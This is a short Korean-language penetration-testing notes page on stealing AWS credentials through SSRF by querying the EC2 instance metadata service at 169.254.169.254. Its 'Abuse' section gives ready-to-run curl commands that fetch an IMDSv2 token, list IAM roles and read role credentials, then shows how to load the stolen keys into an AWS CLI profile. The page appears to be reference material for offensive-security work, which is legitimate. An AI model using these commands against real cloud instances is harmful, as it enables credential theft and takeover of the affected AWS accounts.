Credential theft via SSRF
인스턴스 시스템에서는 169.254.169.254에 접근하여 EC2 메타데이터 정보를 수집할 수 있습니다.
IMDSv1(Instance Metadata Service Version)를 사용할 경우 직접적으로 접근할 수 있지만 IMDSv2를 사용할 경우 토큰이 필요하여 토큰과 함께 엔드포인트에 요청해야 합니다.
토큰은 /latest/api/token 경로에 접근하여 발급받을 수 있습니다.
Abuse
# 토큰 발급
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# IAM Role 식별
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Role에 대한 크리덴셜 획득
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/'<iam-role>'
# 획득한 크리덴셜 저장 및 이용
aws configure --profile pentest
- access-key
- secret-key
echo "aws_session_token = '<token>'" >> ~/.aws/credentialsDemo

References
Last updated